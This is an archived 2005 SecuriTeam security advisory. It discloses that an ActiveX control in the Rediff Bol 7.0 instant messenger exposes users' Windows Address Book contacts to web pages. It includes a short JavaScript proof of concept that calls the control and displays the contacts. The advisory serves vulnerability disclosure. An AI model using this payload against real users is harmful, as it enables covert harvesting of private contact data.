

[NT] Rediff Bol Exposes WAB Contacts

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0043.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/13/05

To: list@securiteam.com

Date: 13 Sep 2005 12:15:56 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Rediff Bol Exposes WAB Contacts

SUMMARY

<<http://messenger.rediff.com/newbol/>> Rediff Bol is "an Instant message program". An ActiveX module of Rediff Bol can be used to expose the Windows' address book (WAB).

DETAILS

Vulnerable Systems:

* Rediff Bol version 7.0

Rediff Bol's ActiveX control (Fetch.FetchContact.1 / Fetch.dll) allows a web pages to read the user's Windows Address Book (WAB) contacts using the method of FullAddressBook.

Proof of Concept:

```
[script]
var Obj = new ActiveXObject("Fetch.FetchContact.1");
alert(Obj.FullAddressBook(0,"",""));
[/script]
```

ADDITIONAL INFORMATION

Securiteam: [NT] Rediff Bol Exposes WAB Contacts

The information has been provided by <mailto:viper31337@yahoo.co.in>

Gregory R. Panakkal.

The original article can be found at:

<<http://www.infogreg.com/security/im/rediff-bol-7-exposes-wab.html>>

<http://www.infogreg.com/security/im/rediff-bol-7-exposes-wab.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.